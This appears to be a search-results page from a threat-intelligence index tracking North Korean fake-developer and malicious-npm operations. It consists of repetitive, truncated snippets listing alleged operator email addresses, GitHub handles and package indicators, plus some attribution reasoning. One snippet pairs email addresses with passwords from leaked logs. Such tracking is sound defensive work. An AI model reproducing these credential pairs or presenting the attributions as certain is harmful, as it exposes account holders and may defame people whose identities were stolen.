topdev@beezom.buzz topdeveloper10281@proton.me topdeveloper25@gmail.com topdeveloper7589@gmail.com topdeveloper9032@gmail.com topdeveloper97@gmail.com topdevstarsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreame…","…282@proton.me topdev@beezom.buzz topdeveloper10281@proton.me topdeveloper25@gmail.com topdeveloper7589@gmail.com topdeveloper9032@gmail.com topdeveloper97@gmail.com topdevstarsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@…","…top.david0817@gmail.com top.dev.k@gmail.com top.dev.wb@gmail.com top.dev41@gmail.com top.developer0221@gmail.com top.developer327@gmail.com top.devguru.super@gmail.com top.freelancer.999@gmail.com topbrightdev@gmail.com topcoder728@gmail.com topcoderwizard@gmail.com topdev0127@gmail.com topdev0205@gmail.co…","…om tontogod25@gmail.com tony0323jefferson@gmail.com tony715225@gmail.com tonylian1224@gmail.com tonyrop00@gmail.com top.david0817@gmail.com top.dev.k@gmail.com top.dev.wb@gmail.com top.dev41@gmail.com top.developer0221@gmail.com top.developer327@gmail.com top.devguru.super@gmail.com top.freelancer.…","…om.buzz topdeveloper10281@proton.me topdeveloper25@gmail.com topdeveloper7589@gmail.com topdeveloper9032@gmail.com topdeveloper97@gmail.com topdevstarsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer2…","…com tony0323jefferson@gmail.com tony715225@gmail.com tonylian1224@gmail.com tonyrop00@gmail.com top.david0817@gmail.com top.dev.k@gmail.com top.dev.wb@gmail.com top.dev41@gmail.com top.developer0221@gmail.com top.developer327@gmail.com top.devguru.super@gmail.com top.freelancer.999@gmail.com topbrig…","…savagrujicinnov.wixsite.com/mysite - t.me/SuperDevel0per - topfirepassion@gmail.com - Likely also Anthony Keller - https://www.coindesk.com/tech/2024/10/02/how-north-korea-infiltrated-the-crypto-industry #### Sarawut…","…kukurudza339@gmail.com leowestbcqni01653@outlook.com pascaldev0921@outlook.com reedfowlerccouj11583@hotmail.com topflite4@freyaglam.shop vrindalseth@gmail.com yelyzavetazaporozhtseva@gmail.com Socket Firewall Blocks risky dependencies before they…","…sunnyviewhomes49110@gmail.com thecityhomesales97011@gmail.com topchoicehomesconsult55882@gmail.com topflite5@freyaglam.shop topkeyrealestate99241@gmail.com urbanhomefinder35266@gmail.com urbanlivingteam00074@gmail.com urbanpropertyguide43812@gmail.com…","…Other sign-up activity observed FAMOUS CHOLLIMA also used these temp mailboxes for other operational procedures. For example, topflite9@freyaglam.shop, who published several malicious npm packages under the username topflite9 from September 2025 to December 2025, also signed up to…","…dev.k@gmail.com top.dev.wb@gmail.com top.dev41@gmail.com top.developer0221@gmail.com top.developer327@gmail.com top.devguru.super@gmail.com top.freelancer.999@gmail.com topbrightdev@gmail.com topcoder728@gmail.com topcoderwizard@gmail.com topdev0127@gmail.com topdev0205@gmail.com topdev02715@gmail.com topde…","…1@proton.me topdeveloper25@gmail.com topdeveloper7589@gmail.com topdeveloper9032@gmail.com topdeveloper97@gmail.com topdevstarsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer…","The post names DevSharp-Tech, Stellar-1117 and GoldStar0417 as further GitHub accounts this one starred, characterizing them as confirmed DPRK. They are not recorded here: the post asserts the association, not that these are the same operator. A second post by the same researcher, headed \"Classics\", lists devsharp-tech, winner950617 and Stellar-1117 together. The first and third are described as confirmed DPRK GitHub accounts in the post above, and a GitHub account named winner950617 exists, so the third handle is recorded as a GitHub account on that basis rather than on the Classics post alone. The address winner950617@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","…sunnyviewhomes49110@gmail.com thecityhomesales97011@gmail.com topchoicehomesconsult55882@gmail.com topflite5@freyaglam.shop topkeyrealestate99241@gmail.com urbanhomefinder35266@gmail.com urbanlivingteam00074@gmail.com urbanpropertyguide43812@gmail.com valleyhomesguide14195@gmail.com…","…5@gmail.com topdeveloper7589@gmail.com topdeveloper9032@gmail.com topdeveloper97@gmail.com topdevstarsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13…","…9@gmail.com topdeveloper9032@gmail.com topdeveloper97@gmail.com topdevstarsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@…","…2@gmail.com topdeveloper97@gmail.com topdevstarsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairm…","…r97@gmail.com topdevstarsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@…","…rsup@gmail.com topfullstacker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101…","…ker@gmail.com topmasterdev2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@g…","…2033@gmail.com topmobiledev1105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.c…","…leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com - donatelo212dunccine@gmail.com - ernestpapyan@gmail.com - topsmartpro@prolocalize.com - yatsukalbert@outlook.com - talentdev610@gmail.com - leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com -…","…e2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github…","…105@gmail.com topmsdreamer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.…","…billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com - putnikdeveloperbg@gmail.com - spaceboy00@gmail.com - topstack2021a@gmail.com - 0xquantech - t.me/MaoDan007 (ID: 5089966453) • ([Messages](./user-5089966453-@MaoDan007-Sol Crazy.txt)) #### alek806 aka Aleksandar…","…mer@gmail.com topone.nov29@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com…","…@gmail.com topprogrammer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.…","…bigben199551@gmail.com - realhardworkingdeveloper@gmail.com - thomasanderson19960313@gmail.com - davidsuzuki51@gmail.com - toptalent48@gmail.com - alexstepan0209@gmail.com - kkopbusiness1213@gmail.com - blockchain4webdev@gmail.com - HighleyHilmaU@gmail.com -…","…thomasanderson19960313@gmail.com[email protected] davidsuzuki51@gmail.com[email protected] toptalent48@gmail.com[email protected] alexstepan0209@gmail.com[email protected] kkopbusiness1213@gmail.com[email protected]…","…developer01234@gmail.com bigben199551@gmail.com realhardworkingdeveloper@gmail.com thomasanderson19960313@gmail.com davidsuzuki51@gmail.com toptalent48@gmail.com alexstepan0209@gmail.com kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmai…","…motokimasuo89@gmail.com wongaiden812@gmail.com vincenzagiorgi6@gmail.com pwlkjakub@gmail.com gru.dev259007@gmail.com toptall.cook@gmail.com kallis0312@gmail.com takutic.tech518@gmail.com williamduncan91413@gmail.com Identities Lucas Chang Hiroto Iwaki…","…mmer22@gmail.com topprogrammer77@gmail.com toppythondev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gma…","…) · Crowdworks Japan · Payoneer (Unity) External 🟢 Confirmed @12-kms Group 12 Kim Mun Song Cover: \"Masato\" (tosama116_0407@yahoo.co.jp[email protected] ) · Payoneer (Unity) External 🟢 Confirmed @12-lsr Group 12 Li Song Ryong Payoneer (Unity) External 🟢 Confirmed…","…(122yamahiro@gmail.com) · Crowdworks Japan · Payoneer (Unity) External 🟢 Confirmed @12-kms Group 12 Kim Mun Song Cover: \"Masato\" (tosama116_0407@yahoo.co.jp) · Payoneer (Unity) External 🟢 Confirmed @12-lsr Group 12 Li Song Ryong Payoneer (Unity) External 🟢 Confirmed @12-pch Group 12…","…ndev13579@gmail.com topstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@mino…","…pstack1226@gmail.com topstarchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything…","…3@gmail.com fulldev114@outlook.com masterdev1027@gmail.com boriszhang1021@gmail.com topdev1228@protonmail.com hasan.musaj312@protonmail.com toshyodev@outlook.com slark0704@gmail.com helios9116@outlook.com cleanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smartfox1203 https://github…","…fulldev114@outlook.com - boriszhang1021@gmail.com - topdev1228@protonmail.com - hasan.musaj312@protonmail.com - toshyodev@outlook.com - slark0704@gmail.com - helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 -…","…big-numerator-5.0.3.tgz ID for es-lint-builders 2026-03-16 01:21:54 changelog-logger-utilities (v1.0.0) toskypi (tosky.pi1016@gmail.com) changelog-logger-utilities-1.0.0.tgz exfil: changelog.rest 2026-03-15 23:01:08 pretty-ts-logger (v1.0.5) traderdev…","…declared toskypi as the package author, a name that appears independently in kmsec.uk’s Contagious Trader campaign report under the email tosky.pi1016@gmail.com[email protected] . The jpeek namespace rotates numerically: jpeek868 , jpeek886 , jpeek895 are all linked npm accounts sharing the same…","…the package author, a name that appears independently in kmsec.uk’s Contagious Trader campaign report ⁠ (opens in new tab) under the email tosky.pi1016@gmail.com . The jpeek namespace rotates numerically: jpeek868 , jpeek886 , jpeek895 are all linked npm accounts sharing the same…","…starchairman@gmail.com toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryever…","…toptal126@gmail.com topworldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com t…","…worldstar0101@gmail.com toshinestar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennis…","…2026-09-07 tailwind-forms-styles (0.5.1) 2026-09-07 jordaneagle7003 <towoxa5134@hebase.com> 2026-09-07 tailwindcss-contact-forms (0.5.3) 2026-09-07 blakeotter2113 <sagowa3816@hebase.com> 2026-09-07…","…Year in Review huqyyitizomu@hotmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review tracykevin5590@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review seniorsky92@gmail.com email malware N/A July 2025…","…email insider N/A N/A Threat actor persona email 4 wildbotgamer@gmail.com email insider N/A N/A Threat actor persona email 4 tramendo.L@outlook.com email insider N/A N/A Threat actor persona email 4 dyadkovdevelop@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 dyadkovdevelop@gmail.com email insider N/A N/A Threat actor persona email 4 tramendo.M@outlook.com email insider N/A N/A Threat actor persona email 4 Gulfdom0209@outlook.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Synthetic persona email 2 aidaszvikas@outlook.com email insider N/A N/A Synthetic persona email 2 trendafilmakedonija001@outlook.com email insider N/A N/A Synthetic persona email 2 dmitrycebotari@outlook.com email insider N/A N/A Synthetic persona email 2…","…terralindenwhytk82974@outlook.com timothygaffney08@gmail.com top1152025@outlook.com top6042025@outlook.com trentonwork105@gmail.com vandesaw@dewacid.store venjamindeco0305@gmail.com victoria88@celestiad.tech vinkeyasmael@hotmail.com vladkashka56@gmail.com…","…96054@gmail.com rodriguezjamesdaniel0807@gmail.com rv882866.hstgr.cloud@glitchmedic.com sinbad@hirelytics360.com thedrgn1011@gmail.com trevorgreer9312@gmail.com yudaiaoyama14@gmail.com IP Addresses Value Note 181.215.9.29 Used for account registration and logging into Validin…","…(SI) satoshiyama14@gmail.com (ST) richardkdavis45@gmail.com (AC) thedron101@gmail.com (CT) fairdev610@gmail.com @ trevorgreer9312@gmail.com (JA) The Trevor Greer persona has been heavily documented as being associated with the North Korean “Contagious Interview” threat…","…Hudson Rock detailed information derived from infostealer logs tied to activity associated with the Trevor Greer persona, you know the one trevorgreer9312@gmail.com.…","…This domain is connected to the email address trevorgreer9312@gmail.com, which was used in previous Lazarus attacks. The name “Lazaro” was identified in the logs as part of a test entry that the threat actors…","…domain registered hours before the $1.4 billion ByBit heist – “bybit-assessment.com” – which had WHOIS records showing the email address “trevorgreer9312@gmail.com,” was used to register the domain.…","…In the aftermath, Silent Push researchers identified the persona “Trevor Greer” associated with the email address trevorgreer9312@gmail.com, which registered the domain “Bybit-assessment.com” prior to the Bybit compromise. A later report claimed that the domain…","…email insider N/A N/A Synthetic persona email 2 velizarborisov.fs@outlook.com email insider N/A N/A Synthetic persona email 2 trivuniliikc519@gmail.com email insider N/A N/A Synthetic persona email 2 alexandermori1218@gmail.com email insider N/A N/A Synthetic persona email 2…","…jaleksandar806 - putnikdeveloperbg - github.com/truecode112 - github.com/masterscent913 • [Archive](https://archive.ph/E9Thn) - truecoder112@gmail.com - dar_winpizza@hotmail.com - jaleksandar806@gmail.com - putnikdeveloperbg@gmail.com - linkedin.com/aleksandar-jovanovic-28bb5023b -…","…estar+2@gmail.com toshinestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson…","…email insider N/A N/A Threat actor-controlled email 1 superth55@gmail.com email insider N/A N/A Threat actor-controlled email 1 truelife3188@gmail.com email insider N/A N/A Threat actor-controlled email 1 vickydev1018@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…richard.stewart.1202@outlook.com sniper_bruce@outlook.com stp.walsh33@gmail.com techcare127@gmail.com truepai415@gmail.com truestar222@outlook.com volodimir.work2020@gmail.com zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com…","…Please download the video to watch. Notice, Motoki is using the same e-mail address truepartner312@gmail.com as address connected to the kirbyAttack actor. We proved that motokimasuo and kirbyattack accounts are working in coordination with…","…This exposed his login process into a Gmail account truepartner312@gmail.com — an address unlinked to the identity he had previously disclosed, further reinforcing the use of a false persona and layered alias…","…richard.stewart.1202@outlook.com sniper_bruce@outlook.com stp.walsh33@gmail.com techcare127@gmail.com truepai415@gmail.com truestar222@outlook.com volodimir.work2020@gmail.com zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com…","…jack.murray.tf7@gmail.com jackhill2765@gmail.com reichenausteve@gmail.com magalhaesbruno236@gmail.com stromdev712418@gmail.com trungtrinh0818@gmail.com Markdown Repositories hosting malicious code https[ :// ]gitlab.com/technicalmanager-group/real-esate https[ ://…","…inestar@gmail.com toshinestar@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.le…","…r@outlook.com tosprise120@gmail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753…","…ail.com total.dev0987@gmail.com touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.co…","…It’s unclear if this email is connected to Contagious Interview. Commit relationship between bigrocks918 and thegoodearth918 including tsumin.work@gmail.com BlockNovas Recruiter Alexander Nolan: A Known Fake We found a site, “crypto.jobs,” mentioning BlockNovas LLC with a recruiter named…","…insider N/A N/A Git mirror developer identity 2 mirzayevorzu127@gmail.com email insider N/A N/A Git mirror developer identity 2 tsunaminori@gmail.com email insider N/A N/A Git mirror developer identity 2 yhwucss@gmail.com email insider N/A N/A Git mirror developer identity 2…","…m touchstonejustin330@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gma…","…om superstar0601.dev@gmail.com suptalentdev@gmail.com svendev128@outlook.com svendev520@gmail.com swan21213@gmail.com sweetdev700@gmail.com t.t.first.dev@gmail.com t3ljz1kp@greentim1086.anonaddy.com tadahashi0820@gmail.com tadashishin1209@gmail.com taej.lee0926@gmail.com taichikato1106@gmail.com tajh.h…","…0@gmail.com truedev1001@gmail.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com u…","…, denis.turgenev2021@gmail.com , yesiree.cano825@gmail.com , thomasdenzelbrown@gmail.com , anthonyortega4592@gmail.com , and tyler.j.palmi38@gmail.com .…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Listed in the primary account's following list and in the address map. The persona Adam Lee, captured in this file from a June 2025 reply, is the same holder; the reasoning is recorded in that entry. Its address tyson.star.912.913@gmail.com and the tyson.star.912913@gmail.com recorded here are one Gmail mailbox, and the commit walk of 2026-09-19 found the same two author lines committing across both accounts' repositories.","…l.com trust.navraj@minofangle.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork…","….dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.com starmastar1126@gmail.com superdev00527@gmail.com tech.veteran71@gmail.com ubiuquitosutrusty@gmail.com web.fan.0509@gmail.com GitHub Indicators…","…legendary0118dev@gmail.com - strongdragon036@gmail.com - takao.kamio@brandcode.dev - takao.kamio@hyma.io - ucas0holm@gmail.com - 0xbde74c526ba2523b729b2f2a20676e58e189d745 - 0x0a8946a37b1e971e70b4ffa5852a1d6e3cdbb597 - 0xaf80e1c287cb78d51c127036eb88f87a22157687…","…b32a47cdb5e747380766a568efbd9e5bf0439d5e1ec09f52ad0c696895fc658b 2026-08-13 vexium-kit (10.0.2) 2026-08-13 leonardo0707 <uchida.rokuro0112@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…e.org tryeverything0609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upw…","…609@gmail.com tryeverything920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.spac…","…ing920609@gmail.com tt9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepu…","…t9846610@gmail.com tylerdennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@out…","…ennison0207@gmail.com tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo…","…ham1215@skiff.com DiamondDazzle@skiff.com FelixMorin1218@skiff.com Rivexavier085@gmail.com SECRETAGENT1025@GMAIL.COM ShinyBaros@outlook.com UpJobTest@skiff.com Upwork1229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gm…","…m tyson.star.912913@gmail.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802…","…accounts on abused services 2 manuetuazon.work@gmail.com email insider N/A N/A Administrative/testing accounts on abused services 2 upwork.management.whm@outlook.com email insider N/A N/A Administrative/testing accounts on abused services 2 1.20.169.90 ipv4 insider August 2024 November 2024 Threat…","…amondDazzle@skiff.com FelixMorin1218@skiff.com Rivexavier085@gmail.com SECRETAGENT1025@GMAIL.COM ShinyBaros@outlook.com UpJobTest@skiff.com Upwork1229@skiff.com aaroller669@gmail.com abirsadesta2021@gmail.com above.throat.8592e0@gizmotik.com acedev0427@gmail.com acehood010126@gmail.com aceruling@gma…","…il.com ui.lee918@gmail.com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight00…","…2026-08-12 power-assert-plus (1.2.2) 2026-08-12 charleswilson <upwork.charles68@gmail.com> 46543bececc793d6150af132e1ba48d0be2b61cc22dc2b2408a1ed3e23eeddfb 2026-08-12 prediction-trader (2.3.0) 2026-08-12…","Read on 20 September 2026 by searching GitHub for accounts whose display-name field carries a name this index already holds, and then walking the account’s commit history. The account coindev219 was registered on 25 January 2024, displays the name Alexander Simmons, holds fifty-eight public repositories and none of them forks, has two followers and follows nobody, and states a bio offering \"10 years of experience\" as a full-stack and blockchain developer. Two links reach this entry and they are not of equal weight, so the entry says which is which. The weaker one is the display name, which is the only thing tying this account to the name at the head of this page; a name in that field is a name an account presents and nothing more, and the account’s own commits are signed coindev219 <upworkchris0@outlook.com>, a different given name from the one it displays. The stronger one is a value. Ten commits in these repositories are authored Kryptify <xinzhe1219@outlook.com>, and both that login and that address are already held in this index on the account github.com/Kryptify; eight more are authored Air128731 <henry.scott0x8080@gmail.com>, and github.com/Air128731 is held here as well. A commit address inside a repository is a value rather than a shared handle, which is what makes it worth recording, and it establishes that whoever held those addresses wrote those commits rather than that one person holds all three accounts. Two further logins commit here, FullStackDev0331 under kaimarsh057@gmail.com and Lai-Star under tsangyu.lai0920@gmail.com. Neither is recorded, because a repository copied in rather than written carries its original authors’ addresses and nothing here separates those two from that case. This account was left in the candidate queue on 18 September for exactly that ambiguity; the name search is what resolved which of its commit addresses belong to accounts this site already tracks. Filed on its own rather than under the Alexander Simmons persona: that name is the one printed on a pipu.cc CV (listing 4064), and a name taken from a CV can be a real person's stolen identity, so a display name matching it is not a link to the persona. The commit addresses above are what tie this account to the operators this index tracks.","…com unicorntoy753@proton.me univan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail…","…nivan0928@gmail.com unoyasushi0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vad…","…i0922@gmail.com uo0901576@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com…","…6@gmail.com upmanager200@gmail.com upwork240103@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com v…","…thecityhomesales97011@gmail.com topchoicehomesconsult55882@gmail.com topflite5@freyaglam.shop topkeyrealestate99241@gmail.com urbanhomefinder35266@gmail.com urbanlivingteam00074@gmail.com urbanpropertyguide43812@gmail.com valleyhomesguide14195@gmail.com…","…topchoicehomesconsult55882@gmail.com topflite5@freyaglam.shop topkeyrealestate99241@gmail.com urbanhomefinder35266@gmail.com urbanlivingteam00074@gmail.com urbanpropertyguide43812@gmail.com valleyhomesguide14195@gmail.com victormolonna510727@outlook.com vitalcityhomes22591@gmail.com…","…topflite5@freyaglam.shop topkeyrealestate99241@gmail.com urbanhomefinder35266@gmail.com urbanlivingteam00074@gmail.com urbanpropertyguide43812@gmail.com valleyhomesguide14195@gmail.com victormolonna510727@outlook.com vitalcityhomes22591@gmail.com westfieldhomeagent66414@gmail.com…","…James123, james123 romanvaraksin763@gmail.com 11111111, Xiah supereaglehunter@gmail.com secret29, 123qwe!@#QWE uri.dev.0802@gmail.com 123qwe!@#QWE vasyl.chow@gmail.com 123qwe!@#QWE, secret29 webmaster0407@gmail.com 123456 webstar0411@gmail.com 123qwe!@#QWE…","…sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fabulous1@gmail.com tinydever@gmail.com dashhello4@gmail.com simonbergman516…","…03@skiff.com upworkdev0030@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com 